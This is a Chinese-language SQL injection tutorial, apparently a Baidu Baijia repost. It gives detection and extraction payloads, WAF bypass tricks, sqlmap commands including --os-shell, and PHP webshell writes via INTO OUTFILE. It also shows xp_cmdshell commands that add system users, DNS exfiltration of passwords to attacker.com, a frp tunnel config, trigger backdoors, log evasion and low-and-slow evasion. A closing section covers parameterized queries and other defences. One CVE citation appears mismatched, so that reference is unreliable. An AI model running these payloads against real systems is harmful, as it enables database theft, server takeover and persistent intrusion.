sql注入
@[toc]
SQL 注入概述
SQL 注入(SQL Injection)是 Web 应用中最危险、最常见的安全漏洞之一,属于 OWASP Top 10 长期上榜风险。攻击者通过将恶意 SQL 代码注入到应用程序的输入参数(如 URL 参数、表单提交、HTTP 头部等),利用应用程序对用户输入的 “未过滤 / 未转义” 缺陷,篡改后台 SQL 查询逻辑,使数据库执行非预期操作。
其核心危害包括但不限于:
- 数据泄露:窃取敏感信息(用户密码、银行卡号、商业数据等);
- 数据篡改:修改 / 删除数据库内容(如篡改订单金额、删除用户数据);
- 权限提升:伪装管理员账号登录,甚至获取数据库服务器系统权限;
- 服务器接管:通过写入恶意脚本(WebShell)控制整个 Web 服务器
SQL注入原理
基本概念
应用程序将用户输入直接拼接到 SQL 查询语句中,未进行任何安全处理(过滤、转义、参数化),导致攻击者可通过构造特殊输入 “打破” 原 SQL 语句的语法结构,注入自定义逻辑。
示例
-- 原始查询
SELECT * FROM users WHERE username = '$username' AND password = '$password'
-- 恶意输入
username: admin' --
-- 最终执行的SQL
SELECT * FROM users WHERE username = 'admin' --' AND password = '(任意)'
SQL注入影响因素分析表
| 影响因素 | 说明 | 注入示例 | 备注 |
|---|---|---|---|
| 数据库类型及权限 | 不同数据库语法、函数、系统表结构差异大;用户权限决定操作范围 | MySQL: UNION SELECT LOAD_FILE('/etc/passwd')(需 FILE 权限) MSSQL: ;EXEC xp_cmdshell 'whoami'--(需启用 xp_cmdshell) |
MySQL 无 FILE 权限无法读文件;MSSQL 默认禁用 xp_cmdshell |
| 数据操作方法 | 增删改查(CRUD)对注入利用的风险不同 | 查询: ' UNION SELECT username,password FROM users-- 删除: '; DELETE FROM orders WHERE 1=1-- |
删除 / 修改操作破坏性更强,但需触发执行条件;查询操作更易窃取数据 |
| 参数数据类型 | 数字型、字符型、LIKE 型参数需不同注入语法 | 数字型: id=1 OR 1=1--(无需引号) 字符型: name='admin' OR '1'='1'--(需闭合引号) LIKE 型: search=%' AND 1=1--%(需处理百分号) |
数字型参数若用WHERE id=$id,直接注入OR 1=1即可 |
| 参数数据格式 | 加密、编码、序列化会增加注入难度,需先解析格式 | Base64 编码: dXNlcm5hbWU9J2FkbWluJyBPUiAnMSc9JzEn(解码后为username='admin' OR '1'='1') JSON 格式: {"id":"1' UNION SELECT--"} |
需先通过抓包分析数据格式(如 BurpSuite 查看请求体),再构造对应 Payload |
| 提交数据方式 | 参数位置(GET/POST/Cookie/HTTP 头)影响注入测试方式 | GET: ?id=1' AND 1=1-- POST 表单: username=admin'--&password=123 Cookie: session=123' AND (SELECT...) |
SQLmap 通过--data(POST)、--cookie(Cookie)指定注入位置 |
| 有无数据处理 | 应用对输入的过滤、转义、验证会降低注入成功率 | 过滤单引号: 1' OR '1'='1 → 被过滤为1 OR 1=1 转义单引号: 1' → 转义为1\' 无回显: ' AND IF(1=1,SLEEP(5),0)--(时间盲注) |
过滤不彻底可被绕过(如双写1'' OR ''1''=''1);无回显需用盲注 / 外带技术 |
| WAF / 防护设备 | Web 应用防火墙会检测并阻断恶意 Payload | 被拦截: UNION SELECT → 绕过: UNI/**/ON SEL/**/ECT(插入注释) 被拦截: OR 1=1 → 绕过: OR 2>1(逻辑等价替换) |
需结合 WAF 特性调整 Payload(如编码、分块传输、参数污染) |
| 错误信息显示 | 详细错误信息可加速信息收集,无错误显示需盲注 | 显示错误: You have an error in your SQL syntax...(暴露数据库类型) 不显示错误:通用 “登录失败” 页面 |
生产环境应关闭错误回显(如 PHP 关闭display_errors) |
| 输入长度限制 | 参数 maxlength 或服务器截断会限制复杂 Payload | 输入框maxlength=20:无法输入长 Payload URL 参数截断:超出服务器限制长度的内容被忽略 |
可通过短 Payload(如1'--)测试,或分阶段注入(分段提交恶意代码) |
| 会话管理机制 | 需有效会话或 CSRF Token 才能提交请求,影响注入持久性 | 需先登录获取 Cookie 才能访问/user?id=1 表单需携带csrf_token才能提交 |
测试时需维持会话(如保存 Cookie),或自动提取 CSRF Token |
注入思路
信息收集 → 注入点探测 → 注入类型确定 → 数据提取 → 权限提升 → 后渗透操作
1. 信息收集阶段
目标识别
- 识别所有用户输入点
- 常规输入点
- GET 参数(URL 中
?id=1、?search=test); - POST 表单(登录框、注册页、提交按钮的表单字段);
- HTTP 头部(Cookie、User-Agent、Referer、X-Forwarded-For);
- 文件上传(文件名、文件描述、请求头中的
Content-Disposition)。
- GET 参数(URL 中
- 隐藏输入点
- API 端点(如
/api/user?id=1、/api/order的 JSON 参数); - 动态参数(如页面加载时异步请求的
token、timestamp); - 第三方集成(如评论系统、搜索插件的输入字段)。
- API 端点(如
- 常规输入点
技术栈分析
# 1. 使用whatweb识别技术栈(需先安装whatweb)
whatweb target.com # 示例输出:"Apache/2.4.49, PHP/7.4.30, MySQL"
# 2. 查看HTTP响应头(通过curl或BurpSuite)
curl -I target.com # 响应头可能包含"Server: Apache"、"X-Powered-By: PHP/7.4.30"
# 3. 浏览器插件辅助:Wappalyzer(Chrome/Firefox插件)
# 直接显示目标使用的Web服务器、数据库、前端框架等信息
#错误页面探测
#故意构造错误输入(如id=1'),观察页面是否返回数据库错误:
#若返回MySQL syntax error,直接确认数据库类型为 MySQL;
#若返回Microsoft OLE DB Provider for SQL Server,确认数据库为 MSSQL;
#若仅显示 “系统错误”,需后续用盲注测试。
2. 注入点探测
| 注入类型 | 适用场景 | 检测方法(核心 Payload) | 优点 | 缺点 |
|---|---|---|---|---|
| 基础注入(是否存在) | 初步筛查输入点是否有注入漏洞 | 1. 数字型参数:id=1'(若报错,可能存在注入)、id=1 AND 1=1(正常)、id=1 AND 1=2(无结果,确认注入) 2. 字符型参数:name='admin' AND '1'='1'(正常)、name='admin' AND '1'='2'(无结果,确认注入) |
简单快速,1-2 个 Payload 即可判断 | 无法确定注入类型(如联合查询 / 盲注) |
| 联合查询注入 | 页面直接显示 SQL 查询结果(有回显) | 1. 确定列数:id=1' ORDER BY 1--、ORDER BY 2--…(直到报错,前一个数即为列数) 2. 找回显位:id=1' UNION SELECT 1,2,3--(页面显示的数字即为回显位) |
数据提取快,结果直观 | 需页面有回显,易被 WAF 拦截 |
| 报错注入 | 页面显示数据库错误信息(无回显但有错误) | MySQL: ' AND updatexml(1,concat(0x7e,version()),0)--(0x7e 是~,用于分隔错误信息) MSSQL: ' AND convert(int, @@version)-- |
无需回显位,单次获取数据 | 受错误信息长度限制(如 MySQL 报错仅显示部分内容) |
| 布尔盲注 | 页面无数据回显,但有状态差异(如 “存在 / 不存在”) | 1. 判断数据库名长度:' AND length(database())=5--(若页面正常,说明长度为 5) 2. 逐字符猜解:' AND substr(database(),1,1)='a'--(页面正常则第一个字符为a) |
适用性广,无错误也能测 | 需大量请求,速度慢 |
| 时间盲注 | 页面无任何状态差异(完全无回显) | MySQL: ' AND IF(1=1,SLEEP(5),0)--(若延迟 5 秒,说明条件成立) MSSQL: ' AND WAITFOR DELAY '0 |
最隐蔽,适用于所有场景 | 速度极慢,受网络延迟影响大 |
| 堆叠查询注入 | 数据库支持多语句执行(用;分隔) |
id=1'; INSERT INTO logs VALUES ('attack')--(执行查询后,额外插入一条日志) id=1'; DROP TABLE users;--(删除 users 表) |
可执行任意 SQL,功能最强 | 大部分环境禁用多语句执行(如 PHP 的mysql_query不支持) |
| 带外通道注入 | 传统注入被限制(如 WAF 拦截、无回显无错误) | MySQL: ' AND (SELECT LOAD_FILE(concat('\\\\',(SELECT password FROM users LIMIT 1),'.attacker.com\\file.txt')))--(通过 DNS 查询外带数据) |
绕过严格防护 | 需数据库有网络权限,配置复杂(需搭建攻击者服务器) |
3. 注入类型确定与利用
联合查询注入流程
1. 确定字段数
ORDER BY 1--
ORDER BY 2--
...
ORDER BY n-- # 直到报错
2. 确定可显示字段位置
UNION SELECT 1,2,3,...,n--
3. 获取数据库信息
UNION SELECT 1,version(),database(),4--
4. 获取表信息
UNION SELECT 1,table_name,3,4 FROM information_schema.tables WHERE table_schema=database()--
5. 获取列信息
UNION SELECT 1,column_name,3,4 FROM information_schema.columns WHERE table_name='users'--
6. 提取数据
UNION SELECT 1,username,password,4 FROM users--
盲注实战技巧
布尔盲注数据提取
# 提取数据库名长度
' AND (SELECT LENGTH(database()))=5--
# 逐字符提取数据库名
' AND (SELECT SUBSTRING(database(),1,1))='a'--
' AND (SELECT SUBSTRING(database(),1,1))='b'--
...
# 自动化提取脚本思路
for position from 1 to length:
for character in 'abcdefghijklmnopqrstuvwxyz0123456789':
payload = f"' AND (SELECT SUBSTRING((SELECT database()),{position},1))='{character}'-- "
if request(payload).content_length > 0:
result += character
break
时间盲注数据提取
# MySQL时间盲注示例
' AND IF((SELECT SUBSTRING(database(),1,1))='a',SLEEP(5),0)--
# 自动化提取思路
for position from 1 to estimated_length:
for character in character_set:
payload = f"' AND IF((SELECT SUBSTRING((SELECT database()),{position},1))='{character}',SLEEP(5),0)-- "
start_time = time.now()
send_request(payload)
if time.now() - start_time > 4.5: # 考虑网络延迟
result += character
break
4. 绕过技巧
当注入被 WAF 或应用过滤拦截时,需通过以下技巧调整 Payload
注释符绕过
当--、#被过滤时,用其他方式注释或截断 SQL:
空字节截断:' OR 1=1;%00(%00是 ASCII 空字符,部分服务器会截断后续内容);
内联注释(MySQL 特有):' /*!OR*/ 1=1--(/*! */内的内容会被 MySQL 执行,其他数据库忽略)。
关键字绕过
# 大小写混合(WAF 可能只检测小写 / 大写,混合可绕过)
UnIoN SeLeCT
# 双写关键字(若 WAF 仅过滤一次,双写后会保留UNION SELECT)
UNIUNIONON SELESELECTCT
# 内联注释(/**/是 MySQL 注释,不影响执行,可拆分关键字)
/*!UNION*/ /*!SELECT*/
# 编码绕过
%55%4e%49%4f%4e %53%45%4c%45%43%54 # UNION SELECT的URL编码
# 空白符替代
%09 %0A %0C %0D %20 %A0 # 各种空白符
WAF绕过技术
# 分块传输编码(WAF 可能仅检测完整 Payload,分块后无法识别)
使用Transfer-Encoding: chunked绕过输入检测;
通过 Burp 构造分块请求绕过 WAF
# 非常规HTTP方法(WAF 可能只防护 GET/POST 请求)
使用PUT、DEBUG等非常规方法
# 参数污染(服务器可能取最后一个id值,WAF 可能仅检测第一个id=1)
id=1&id=2' UNION SELECT--
#规则混淆
利用数据库特性变异关键字,如 MySQL 中||等价于OR,可替换OR 1=1为|| 1=1;
# JSON注入
{"id":"1' UNION SELECT--"}
# 二次编码('的 URL 编码是%27,二次编码是%2527 WAF 可能只解码一次,服务器会解码两次)
%2527 # 单引号的二次URL编码
5. 不同数据库的差异
| 特性 | MySQL | Microsoft SQL Server(MSSQL) | Oracle | PostgreSQL |
|---|---|---|---|---|
| 默认端口 | 3306 | 1433 | 1521 | 5432 |
| 注释语法 | --、#、/* */ |
--、/* */ |
--、/* */ |
--、/* */ |
| 当前数据库 | DATABASE() |
DB_NAME() |
SELECT name FROM v$database |
CURRENT_DATABASE() |
| 版本信息 | VERSION()、@@VERSION |
@@VERSION |
SELECT banner FROM v$version |
VERSION() |
| 系统表(查所有表) | information_schema.tables |
sysobjects(xtype='U'表示用户表) |
all_tables |
information_schema.tables、pg_tables |
| 延时函数 | SLEEP(n)、BENCHMARK(1000000,md5(1)) |
WAITFOR DELAY '0 |
DBMS_LOCK.SLEEP(n) |
PG_SLEEP(n) |
| 文件读取 | LOAD_FILE('路径')(需 FILE 权限) |
OPENROWSET(BULK '路径', SINGLE_BLOB) AS data |
UTL_FILE包(需权限) |
pg_read_file('路径') |
| 文件写入 | INTO OUTFILE '路径'(需 FILE 权限) |
xp_cmdshell('echo content > 路径') |
UTL_FILE.PUT_LINE |
COPY (SELECT 'content') TO '路径' |
| 命令执行 | 写 WebShell(如SELECT '<?php system($_GET[cmd]);?>' INTO OUTFILE '/var/www/shell.php') |
xp_cmdshell('命令')(需启用) |
调用 Java 存储过程 | 扩展插件(如 Python 函数) |
| 报错注入核心函数 | updatexml()、extractvalue() |
convert(int, 变量) |
ctxsys.drithsx.sn() |
cast(变量 as int) |
6. 提权与后渗透
注入成功后,需进一步扩大控制范围,常见操作如下:
读取敏感文件
-- MySQL(需FILE权限)
UNION SELECT 1,LOAD_FILE('/etc/passwd'),3-- # 读取Linux系统用户文件
UNION SELECT 1,LOAD_FILE('C:/Windows/system32/drivers/etc/hosts'),3-- # 读取Windows hosts文件
-- PostgreSQL
UNION SELECT 1,pg_read_file('/etc/passwd'),3--
写入 WebShell(控制 Web 服务器)
前提:知道 Web 根目录路径(如/var/www/html、C:/xampp/htdocs),且数据库有写入权限。
-- MySQL写入PHP一句话木马
UNION SELECT 1,'<?php @eval($_POST[cmd]);?>' AS webshell,3 INTO OUTFILE '/var/www/html/shell.php'--
-- 后续通过蚁剑/菜刀连接:http://target.com/shell.php,密码cmd
-- MSSQL(通过xp_cmdshell写入)
'; EXEC xp_cmdshell 'echo ^<?php @eval($_POST[cmd]);?^> > C:\xampp\htdocs\shell.php'--
命令执行
-- MSSQL(sysadmin权限)
'; EXEC xp_cmdshell 'whoami'-- # 查看当前用户
'; EXEC xp_cmdshell 'ipconfig'-- # 查看网络配置
'; EXEC xp_cmdshell 'net user test 123456 /add'-- # 添加系统用户
-- MySQL(需通过WebShell间接执行,或开启UDF提权)
-- 先写入UDF动态链接库,再创建函数执行命令(复杂,需对应MySQL版本)
数据库权限提升
-- MySQL查看是否有超级权限
UNION SELECT 1,super_priv,3 FROM mysql.user WHERE user = user()-- # Y表示有超级权限
-- MSSQL查看是否为sysadmin角色
UNION SELECT 1,IS_SRVROLEMEMBER('sysadmin'),3-- # 1表示是sysadmin
-- 若 MySQL 有FILE权限:可写入my.cnf配置文件,添加恶意配置;可以参考CVE-2021-21551
-- 若 MSSQL 是sysadmin:可启用xp_cmdshell、sp_oacreate等存储过程,执行系统命令
内网穿透
通过注入写入 frp 客户端配置,将数据库端口转发到公网:
-- MySQL写入frp配置
SELECT '[common]\nserver_addr = attacker.com\nserver_port = 7000' INTO OUTFILE '/tmp/frp.ini'--
7. 自动化与工具使用策略
手动注入效率低,实际测试中常用工具自动化完成,以下工具只简单介绍sqlmap
| 工具名称 | 特点与适用场景 | 局限性 |
|---|---|---|
| SQLmap | 支持多数据库、自动绕过 WAF、功能全面 | 对复杂认证(如 OAuth)支持有限 |
| jSQL Injection | 轻量开源、适合手动测试辅助 | 自动化程度低,需手动分析结果 |
| NoSQLMap | 针对 MongoDB 等 NoSQL 数据库的注入测试 | 不支持传统 SQL 数据库 |
| Burp Suite(插件) | SQLi Scanner 插件可被动检测注入点 | 误报率较高,需人工验证 |
| Arachni | 支持 CI/CD 集成,适合自动化测试流程 | 定制化 Payload 能力弱 |
SQLmap常规用法
# 1. GET参数注入测试
sqlmap -u "http://target.com/page.php?id=1" -v 1 # -v 1显示详细信息
# 2. POST表单注入测试(--data指定POST数据)
sqlmap -u "http://target.com/login.php" --data "username=admin&password=123"
# 3. Cookie注入测试
sqlmap -u "http://target.com/user.php" --cookie "PHPSESSID=abc123"
# 4. 直接获取所有数据库
sqlmap -u "http://target.com/page.php?id=1" --dbs
# 5. 获取指定库(webapp)的所有表
sqlmap -u "http://target.com/page.php?id=1" -D webapp --tables
# 6. 获取指定表(users)的所有数据
sqlmap -u "http://target.com/page.php?id=1" -D webapp -T users --dump
高级用法(绕过 WAF、提权)
# 1. 绕过WAF(使用tamper脚本,space2comment将空格替换为/* */)
sqlmap -u "http://target.com/page.php?id=1" --tamper=space2comment
# 2. 多线程加速(--threads,最大10)
sqlmap -u "http://target.com/page.php?id=1" --threads=5
# 3. 获取OS Shell(直接控制服务器)
sqlmap -u "http://target.com/page.php?id=1" --os-shell
# 4. 连接数据库(直接操作数据库,需账号密码)
sqlmap -d "mysql://user:password@192.168.1.100:3306/webapp" --dump
半自动化测试(Burp Suite)
Repeater 模块:手动修改请求参数(如
id=1'),观察响应是否有注入特征;Intruder 模块:批量发送 Payload(如布尔盲注的逐字符猜解),快速定位有效 Payload;
结合 SQLmap:将 Burp 作为代理,让 SQLmap 通过 Burp 发送请求(便于抓包分析):
sqlmap -u "http://target.com/page.php?id=1" --proxy=http://127.0.0.1:8080 # Burp默认代理端口8080
8. 痕迹清理与持久化
日志绕过
# 使用时间盲注减少日志记录
# 使用DNS外带数据避免直接日志
# 最小化请求次数
尽量使用UNION查询而不是盲注
Web shell持久化
# 多种方式部署Web shell
通过SELECT INTO OUTFILE写入
通过数据库备份功能写入
通过文件上传功能结合SQL注入路径遍历
数据库权限维持技巧
创建触发器:在 MySQL 中创建触发器,每次插入数据时执行恶意代码:
CREATE TRIGGER backdoor AFTER INSERT ON logs
FOR EACH ROW
BEGIN
INSERT INTO backdoor_logs VALUES (USER(), NOW());
END;
数据库作业:在 MSSQL 中创建定时作业,定期执行命令:
USE msdb;
EXEC sp_add_job @job_name = 'persist';
-- 添加步骤执行xp_cmdshell
9. 防御规避检测
识别WAF规则
# 发送正常和恶意请求对比响应
# 观察HTTP状态码变化
# 检查是否有WAF特有头部
# 使用sqlmap识别WAF
sqlmap -u "http://target.com/page.php?id=1" --identify-waf
低慢速攻击
# 使用时间盲注并延长延时时间
# 分块传输编码低速发送
10.SQL 注入防御方案
SQL 注入的防御需从 “输入处理”“查询方式”“权限控制” 多维度入手,形成闭环防护:
核心防御:使用参数化查询(预编译语句)
原理:将 SQL 语句的 “结构” 与 “参数” 分离,参数由数据库引擎单独处理,避免用户输入篡改 SQL 结构。
主流语言示例:
| 语言 / 框架 | 错误写法(直接拼接) | 正确写法(参数化查询) |
|---|---|---|
| PHP(MySQLi) | $sql = "SELECT * FROM users WHERE username='$username'"; $result = mysqli_query($conn, $sql); |
$stmt = $conn->prepare("SELECT * FROM users WHERE username=?"); $stmt->bind_param("s", $username);(”s” 表示字符串类型) $stmt->execute(); |
| Java(JDBC) | String sql = "SELECT * FROM users WHERE username='" + username + "'"; Statement stmt = conn.createStatement(); stmt.executeQuery(sql); |
String sql = "SELECT * FROM users WHERE username=?"; PreparedStatement pstmt = conn.prepareStatement(sql); pstmt.setString(1, username);(1 表示第一个参数) pstmt.executeQuery(); |
| Python(MySQLdb) | sql = f"SELECT * FROM users WHERE username='{username}'"; cursor.execute(sql) |
sql = "SELECT * FROM users WHERE username=%s"; cursor.execute(sql, (username,))(参数用元组传递) |
| Python(Django ORM) | 无需手动写 SQL,ORM 自动参数化: User.objects.filter(username=username) |
Django ORM 底层已实现参数化,避免注入风险(推荐使用框架 ORM) |
输入验证与过滤(辅助防御)
- 数据类型验证:对数字型参数(如
id)强制转换为整数(如int(id)),非数字直接拒绝; - 格式验证:用正则表达式限制输入格式(如邮箱
^[a-zA-Z0-9_-]+@[a-zA-Z0-9_-]+(\.[a-zA-Z0-9_-]+)+$); - 特殊字符过滤:对 SQL 关键字(
UNION、SELECT、OR)和特殊符号('、;、--)进行转义(如将'转义为\'),但需注意:过滤不能替代参数化查询(过滤规则可能被绕过)。
最小权限原则(降低危害)
- 数据库用户权限:Web 应用使用的数据库账号仅授予 “必要权限”(如只给
SELECT/INSERT权限,不给DROP/FILE权限); - 文件系统权限:Web 目录禁止写入(仅上传目录可写,且限制上传文件类型);
- 服务器权限:Web 服务器运行用户(如
www-data)仅给最小权限,禁止直接使用root/Administrator。
安全配置(减少暴露面)
- 关闭错误回显:生产环境禁用数据库错误显示(如 PHP 关闭
display_errors = Off,Java 配置全局错误页面); - 禁用危险功能:
- MySQL:禁用
LOAD_FILE、INTO OUTFILE(通过sql_mode或权限控制); - MSSQL:禁用
xp_cmdshell、sp_oacreate等危险存储过程;
- MySQL:禁用
- 更新补丁:及时更新 Web 服务器(Apache/Nginx)、数据库、框架的安全补丁,修复已知漏洞。
部署 WAF(最后一道防线)
- 作用:通过规则检测并阻断恶意 SQL 注入 Payload(如拦截
UNION SELECT、OR 1=1等特征); - 选型:可使用开源 WAF(如 ModSecurity)或商业 WAF(如阿里云 WAF、Cloudflare);
- 注意:WAF 需定期更新规则,避免被新型绕过技术突破。
版权声明
本文仅代表作者观点,不代表XX立场。
本文系作者授权百度百家发表,未经许可,不得转载。
